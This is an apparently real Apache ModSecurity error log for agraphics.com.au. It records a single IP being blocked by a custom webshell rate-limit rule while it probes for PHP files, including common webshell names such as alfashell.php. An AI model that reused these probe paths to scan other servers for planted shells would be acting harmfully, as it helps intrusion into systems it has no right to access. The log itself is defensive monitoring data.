[Fri Apr 17 14:35:45.819031 2026] [:error] [pid 9153:tid 9225] [client 74.234.56.128:29525] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aeHUweMHGxkTZX3c45fPpwAAAIc"]
[Fri Apr 17 14:35:46.039151 2026] [:error] [pid 51878:tid 51902] [client 74.234.56.128:24396] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeHUwknQhUtMbw9EsgYbIAAAARY"]
[Fri Apr 17 14:35:46.404557 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:29462] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aeHUwpJYca8I3TNCwIf_rgAAAEM"]
[Fri Apr 17 14:35:46.556528 2026] [:error] [pid 9263:tid 9277] [client 74.234.56.128:30063] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeHUwhP68VyHNvj1e56kiQAAAMw"]
[Fri Apr 17 14:35:46.951484 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:27461] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aeHUwhP68VyHNvj1e56kigAAANc"]
[Fri Apr 17 14:35:47.164164 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:28514] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeHUwxP68VyHNvj1e56kiwAAANM"]
[Fri Apr 17 14:35:47.467800 2026] [:error] [pid 61523:tid 61554] [client 74.234.56.128:28946] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aeHUw8OaH-Pgc7WEf4NHuQAAAcw"]
[Fri Apr 17 14:35:47.729383 2026] [:error] [pid 51878:tid 51904] [client 74.234.56.128:23885] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeHUw0nQhUtMbw9EsgYbIgAAARg"]
[Fri Apr 17 14:35:47.978973 2026] [:error] [pid 9151:tid 9166] [client 74.234.56.128:24907] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aeHUw8hTVuRPkua22vQVKAAAAAU"]
[Fri Apr 17 14:35:48.308427 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:30028] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeHUxBP68VyHNvj1e56kjwAAAMo"]
[Fri Apr 17 14:35:48.499688 2026] [:error] [pid 9152:tid 9202] [client 74.234.56.128:29498] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aeHUxJJYca8I3TNCwIf_rwAAAEw"]
[Fri Apr 17 14:35:48.865109 2026] [:error] [pid 9152:tid 9209] [client 74.234.56.128:29554] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeHUxJJYca8I3TNCwIf_sAAAAFM"]
[Fri Apr 17 14:35:49.040729 2026] [:error] [pid 25010:tid 25028] [client 74.234.56.128:25863] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aeHUxY-7kkf42RarqQ1GEgAAAU8"]
[Fri Apr 17 14:35:49.410018 2026] [:error] [pid 9263:tid 9287] [client 74.234.56.128:28465] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeHUxRP68VyHNvj1e56kkAAAANY"]
[Fri Apr 17 14:35:49.568729 2026] [:error] [pid 9151:tid 9179] [client 74.234.56.128:27450] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "aeHUxchTVuRPkua22vQVKQAAABI"]
[Fri Apr 17 14:35:50.055079 2026] [:error] [pid 51878:tid 51883] [client 74.234.56.128:29007] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeHUxknQhUtMbw9EsgYbJgAAAQM"]
[Fri Apr 17 14:35:50.127800 2026] [:error] [pid 25010:tid 25016] [client 74.234.56.128:28005] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "aeHUxo-7kkf42RarqQ1GFQAAAUM"]
[Fri Apr 17 14:35:50.634556 2026] [:error] [pid 9151:tid 9183] [client 74.234.56.128:29506] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeHUxshTVuRPkua22vQVKgAAABY"]
[Fri Apr 17 14:35:50.656383 2026] [:error] [pid 9151:tid 9164] [client 74.234.56.128:28988] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "aeHUxshTVuRPkua22vQVKwAAAAM"]
[Fri Apr 17 14:35:51.227896 2026] [:error] [pid 51878:tid 51882] [client 74.234.56.128:29958] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "aeHUx0nQhUtMbw9EsgYbKAAAAQI"]
[Fri Apr 17 14:35:51.371102 2026] [:error] [pid 9153:tid 9229] [client 74.234.56.128:29550] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeHUx-MHGxkTZX3c45fPqgAAAIs"]
[Fri Apr 17 14:35:51.751219 2026] [:error] [pid 51878:tid 51903] [client 74.234.56.128:30583] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeHUx0nQhUtMbw9EsgYbKgAAARc"]
[Fri Apr 17 14:35:51.951589 2026] [:error] [pid 61523:tid 61550] [client 74.234.56.128:29471] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeHUx8OaH-Pgc7WEf4NHvAAAAcg"]
[Fri Apr 17 14:35:52.303272 2026] [:error] [pid 61523:tid 61552] [client 74.234.56.128:30502] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeHUyMOaH-Pgc7WEf4NHvQAAAco"]
[Fri Apr 17 14:35:52.457590 2026] [:error] [pid 61523:tid 61557] [client 74.234.56.128:29516] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeHUyMOaH-Pgc7WEf4NHvgAAAc8"]
[Fri Apr 17 14:35:52.803117 2026] [:error] [pid 51878:tid 51891] [client 74.234.56.128:30064] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeHUyEnQhUtMbw9EsgYbKwAAAQs"]
[Fri Apr 17 14:35:53.107997 2026] [:error] [pid 25010:tid 25024] [client 74.234.56.128:27985] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeHUyY-7kkf42RarqQ1GFgAAAUs"]
[Fri Apr 17 14:35:53.379690 2026] [:error] [pid 9153:tid 9230] [client 74.234.56.128:30048] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeHUyeMHGxkTZX3c45fPqwAAAIw"]
[Fri Apr 17 14:35:53.712740 2026] [:error] [pid 9153:tid 9231] [client 74.234.56.128:30519] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeHUyeMHGxkTZX3c45fPrQAAAI0"]
[Fri Apr 17 14:35:53.919210 2026] [:error] [pid 51878:tid 51896] [client 74.234.56.128:30591] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aeHUyUnQhUtMbw9EsgYbLAAAARA"]
[Fri Apr 17 14:35:54.245211 2026] [:error] [pid 51878:tid 51897] [client 74.234.56.128:29442] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aeHUyknQhUtMbw9EsgYbLgAAARE"]
[Fri Apr 17 14:35:54.436805 2026] [:error] [pid 9151:tid 9182] [client 74.234.56.128:30024] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aeHUyshTVuRPkua22vQVMwAAABU"]
[Fri Apr 17 14:35:54.753293 2026] [:error] [pid 51878:tid 51880] [client 74.234.56.128:29517] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aeHUyknQhUtMbw9EsgYbLwAAAQA"]
[Fri Apr 17 14:35:55.022210 2026] [:error] [pid 51878:tid 51902] [client 74.234.56.128:29008] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aeHUy0nQhUtMbw9EsgYbMQAAARY"]
[Fri Apr 17 14:35:55.329078 2026] [:error] [pid 51878:tid 51893] [client 74.234.56.128:30517] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aeHUy0nQhUtMbw9EsgYbMgAAAQ0"]
[Fri Apr 17 14:35:55.531674 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:27999] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aeHUyxP68VyHNvj1e56klAAAAMU"]
[Fri Apr 17 14:35:55.844299 2026] [:error] [pid 51878:tid 51883] [client 74.234.56.128:30552] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aeHUy0nQhUtMbw9EsgYbNAAAAQM"]
[Fri Apr 17 14:35:56.057043 2026] [:error] [pid 51878:tid 51887] [client 74.234.56.128:25913] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeHUzEnQhUtMbw9EsgYbNQAAAQc"]
[Fri Apr 17 14:35:56.350998 2026] [:error] [pid 51878:tid 51886] [client 74.234.56.128:30586] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUzEnQhUtMbw9EsgYbNwAAAQY"]
[Fri Apr 17 14:35:56.603488 2026] [:error] [pid 9151:tid 9179] [client 74.234.56.128:26947] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeHUzMhTVuRPkua22vQVNAAAABI"]
[Fri Apr 17 14:35:56.879538 2026] [:error] [pid 34273:tid 34292] [client 74.234.56.128:30012] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUzGuQDW686mK3dgHDxgAAAZE"]
[Fri Apr 17 14:35:57.209870 2026] [:error] [pid 9152:tid 9200] [client 74.234.56.128:30065] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeHUzZJYca8I3TNCwIf_tAAAAEo"]
[Fri Apr 17 14:35:57.468681 2026] [:error] [pid 9153:tid 9220] [client 74.234.56.128:27910] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUzeMHGxkTZX3c45fPsgAAAII"]
[Fri Apr 17 14:35:57.764265 2026] [:error] [pid 9152:tid 9206] [client 74.234.56.128:30014] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeHUzZJYca8I3TNCwIf_vAAAAFA"]
[Fri Apr 17 14:35:58.002961 2026] [:error] [pid 34273:tid 34277] [client 74.234.56.128:30471] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUzmuQDW686mK3dgHDyQAAAYI"]
[Fri Apr 17 14:35:58.617508 2026] [:error] [pid 51878:tid 51884] [client 74.234.56.128:29533] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeHUzknQhUtMbw9EsgYbPQAAAQQ"]
[Fri Apr 17 14:35:59.214555 2026] [:error] [pid 51878:tid 51880] [client 74.234.56.128:23918] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeHUz0nQhUtMbw9EsgYbPwAAAQA"]
[Fri Apr 17 14:35:59.849134 2026] [:error] [pid 51878:tid 51893] [client 74.234.56.128:26408] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeHUz0nQhUtMbw9EsgYbQAAAAQ0"]
[Fri Apr 17 14:36:00.505011 2026] [:error] [pid 25010:tid 25018] [client 74.234.56.128:30548] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeHU0I-7kkf42RarqQ1GGQAAAUU"]
[Fri Apr 17 14:36:01.274193 2026] [:error] [pid 51878:tid 51887] [client 74.234.56.128:29955] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "aeHU0UnQhUtMbw9EsgYbQgAAAQc"]
[Fri Apr 17 14:36:01.958930 2026] [:error] [pid 51878:tid 51888] [client 74.234.56.128:28993] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "aeHU0UnQhUtMbw9EsgYbQwAAAQg"]
[Fri Apr 17 14:36:02.504722 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:29979] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "aeHU0pJYca8I3TNCwIf_xwAAAE8"]
[Fri Apr 17 14:36:03.153642 2026] [:error] [pid 25010:tid 25023] [client 74.234.56.128:30574] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "aeHU04-7kkf42RarqQ1GGgAAAUo"]
[Fri Apr 17 14:36:03.705688 2026] [:error] [pid 51878:tid 51901] [client 74.234.56.128:29954] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "aeHU00nQhUtMbw9EsgYbRAAAARU"]
[Fri Apr 17 14:36:04.358164 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:28489] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "aeHU1BP68VyHNvj1e56kmQAAANI"]
[Fri Apr 17 14:36:04.997518 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:25860] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "aeHU1BP68VyHNvj1e56knQAAAMM"]
[Fri Apr 17 14:36:05.716766 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:27001] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "aeHU1RP68VyHNvj1e56koQAAAMo"]
